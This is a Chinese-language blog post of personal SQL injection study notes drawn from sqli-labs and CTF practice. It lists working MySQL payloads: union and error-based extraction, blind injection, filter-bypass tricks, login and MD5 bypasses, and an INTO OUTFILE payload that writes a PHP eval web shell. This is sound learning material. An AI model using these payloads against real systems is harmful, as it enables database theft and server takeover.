SQL注入总结(持续更新。。。应该吧)


作为一个web萌新,简单的SQL注入不免成为了第一道坎,这里在我刷完了闭合lab,(sqli-lab),以及一些别的CTF题目后,做出自己的总结(虽然不得不说大牛门的博客都有一份总结,但是很多都太过于详细,没有自己遇到过,也没有办法理解,因此写一份自己的,慢慢积累会有一些成就感)

前言

作为一个web萌新,简单的SQL注入不免成为了第一道坎,这里在我刷完了闭合lab,(sqli-lab),以及一些别的CTF题目后,做出自己的总结(虽然不得不说大牛门的博客都有一份总结,但是很多都太过于详细,没有自己遇到过,也没有办法理解,因此写一份自己的,慢慢积累会有一些成就感)

从最最最基础的开始

information_schema的利用

  1. information_schema这张数据表保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。

  2. 由此我们通过这张表我们可以为所欲为,很多时候我们煞费苦心就是为了可以利用这个数据表下面开始这个表的各类分支

    information_schema.schema //这里包含了所有的数据库

    information_schema.tables where table_schema='schema_name'//查数据库中的表名,配合table_name
    information_schema.columns where table_schema='schema_name' and table_name='xx'//配合column_name,查询某库中的某表中的列名,然后为所欲为
    
  1. 有时候啊,万恶的程序员会把information给过滤掉,这个时候还有一个非常炫酷的东西,可以让你获得库里的所有东西:mysql.innodb_table_stats

small tips:
记得在or被过滤是别忘了information中也有一个or,可能因此会出现一些问题

一些常见的SQL函数

  1. limit x,y 从第x+1条开始,一共y条,比如取出第一条limit 0,1
  2. substr(string,start,length) 有二个诡异的地方就是你在SQL中start需要从1开始,但是其他地方字符串数组,是从0开始为第一位
    .
    .
    .
    .
    .
    .
    想了想还是不介绍了,感觉这些函数不就是为了各种注入服务吗,到时候一起讲吧

常见的注入方式

联合查询(union)

十分简单,虽然很多时候都用不着了,但是还是稍微讲一下

  1. union select 1,2,3,4可以用来判断字段数(前提是你闭合了语句)
  2. 判断完字段数后你可以看文章中的字符显示情况,看找到适合的回显点
  3. 把回显点的数字改为自己想要查询的东西
    .
    .
    .
    之前看到一个挺有意思的东西,有时候ban的东西比较多时,union可以在不知道列名的情况下进行一波查询:
    即:union select 1,2,3,table_name.*,4+p from table_name

报错注入(好用挺爽)

使用条件(存在报错回显的情况),关掉了就只能盲注了
0x73是hex中的~,这样查询中出来的包含在两个~中,比较便于辨认

已知报错方法展示:

  • 比较长,但是一步到位的报错语句:
    1. id=1' union Select 1,count(*),concat(user(),floor(rand(0)*2))a from information_schema.columns group by a--+//配合联合查询
    2. id =1 and (select 1 from  (select count(*),concat(0x7e,user(),0x7e,floor(rand(0)*2))x from  information_schema.tables group by x)a)
    
  • 只能显示32位,比较长的字段就无法爆了 (concat可以用make_set代替)

    1. extractvalue()

      id = 1 and (extractvalue(1, concat(0x7e,(select user()),0x7e)))
      

      2.updatexml()

      id = 1 and (updatexml(0x3a,concat(0x7e,(select user()),0x7e),1))
      

      3.exp()

      id =1 and EXP(~(SELECT * from(select user())a))
      

      4.有六种函数(但总的来说可以归为一类)

      GeometryCollection()
      id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))
      
      polygon()
      id =1 AND polygon((select * from(select * from(select user())a)b))
      
      multipoint()
      id = 1 AND multipoint((select * from(select * from(select user())a)b))
      
      multilinestring()
      id = 1 AND multilinestring((select * from(select * from(select user())a)b))
      
      linestring()
      id = 1 AND LINESTRING((select * from(select * from(select user())a)b))
      
      multipolygon()
      id =1 AND multipolygon((select * from(select * from(select user())a)b))
      

出现:”Duplicate entry ‘~####~‘ for key 1”这样的报错信息
PS:在只能选取32位的情况下,还是可以通过substr函数来一段段的报错粗来结果,最后拼接,如substr(语句,1,30)

宽字节注入

源于源码不统一产生的一个bug,用来用于绕过转义(sql-lab 32)

而我们可以通过一个比较大的16进制的字符将他们和/编程一个中文字符,然后进行注入,常用%df,%df%5C可以被GBK翻译为一个汉字,就可以借此来闭合’

这个可以查看源码中的html lang属性,有可能成为一个思路

布尔注入(包含了盲注的手法在里面)

正确判断方式

1.使用exsit()
2.使用if( 判断 , 正确时执行 , 错误时执行 )
3.使用case when 判断 then 正确时执行 else 错误时执行 end

判断内容

  1. substr(),最常用,不多介绍(sql-lab 8)
  2. left()
  3. mid()
  4. locate()
    用法基本相同,然后用ascii进行转码,比较来判断,直接比较会出现不区分大小的情况,所以在ascii 或者 ord 函数没被ban的情况下还是可以转为ascii再进行比较

判断反馈

  1. 首先如果在有回显的情况下,可以将反馈回来的content,进行比较
  2. 在会有回显的情况下,可以使用sleep函数,加上在接受返回时,加上timeout参数,来进行判断是否成功

黑名单处理

黑名单失踪还CTF中是一个使用比较多的地方,我们可以通过各种方式来进行绕过

过滤判断

  1. 如果题目有输入处理后的字段,或者报错是可见的,那么我们就可以看到我们被过滤后的输入,那么随意fuzz就可以了
  2. 如果没有,就只能自己尝试来判断是否被过滤
    这种时候可以比较花式的方法是:
    1. 异或比较 ^(判断语句)^ example:^(length(‘union’))^
    2. 用||替代 or

替代品

  1. 空格:/**/,%0a,以及在linux下apache可以解析的一些替代:
    1. %09 TAB键(水平)
    2.%0a 新建一行
    3.%0c 新的一页
    4.%0d return功能
    5.%0b TAB键(垂直)
    6.%a0 空格
    
  2. 比较符号<>,使用greatest,strcmp,in,between,order by

    select * from users where id=1 and         greatest(ascii(substr(database(),0,1)),64); #greatest() Oracle数据库函数 
    select strcmp(left(database(),1),0x32);
    if(substr(id,1,1)in(0x41),1,3)
    
    #in、between、order by
    select * from yz where a in ('aaa');
    select substr(a,1,1) in ('a') from yz ;
    
    select * from yz where a between 'a' and 'b';
    select * from yz where a between 0x89 and 0x90;
    
  3. 逗号被过滤的情况

    if就无法使用了
    substr(string form start to length)
    mid等同理
    limit start offset length
    逗号可以用join来代替
    
  4. order by 被过滤的情况下可以使用into来判断列数
    select * from yz limit 1,1 into @a,@b,@c //只有当正好为列数的时候才不会报错  
    
  5. 等号被吃掉:
    1. in
    2. regexp

花里胡哨

  1. 文件写入

    union select 1,2,'<?php    @eval($_POST["giantbranch"]);?>'    into    outfile 'E:\\wamp\\www\\sqli-labs\\muma.php' %23
    
  2. @@datadir 读取数据库目录
    @@basedir 数据库安装目录

  3. 在’’被过滤的情况下可以考虑使用十六进制的编码
    hex()可以解码十六进制
  4. MD5注入:
    $sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
    payload:' or '1<trash>' => md5:ffifdyop
    
  5. 一个简单的SQL语句引发的思考
    select * from user where username = ' ' and password = ' '
    如何花哨的绕过这个语句:
    1. 构造 username=''=''即username=(null)=(null) =》 username=(0=0) =》1
       换种写法就是username= 'aaa'='0'(string在和int比较时会转化为0)
    //字符串类型的,当他接受到一个整型值切值为0的时候,就会返回数据库的所有条目。 一个字符串加一个整形,会自动的变量类型转换,变为一个整型。
    2.构造 username=0 即可以写为username='a'+0%00(%00可以作为一种截断注释)
    3.将username='/'and password = 'asda'那么前面username:'and password = 
    
  6. 如果我们想要调整回显点,或者我们在某些列名被屏蔽的时候,我们可以使用重命名的方式来进行处理
    1
    2
    3
    #例如
    -1 union select 1,f,3 from (select 1 as a, 2 as b, c as f from where 1=2 select * from table_name)t
    //这里这句话的意思就是,f这个列名被过滤了,但我们知道列在第三列,且回显点在第二位,我们通过重命名列名的方式来把数据取出,放在我们需要的位置

暂时也就那么多了

参考链接:
hammer’s blog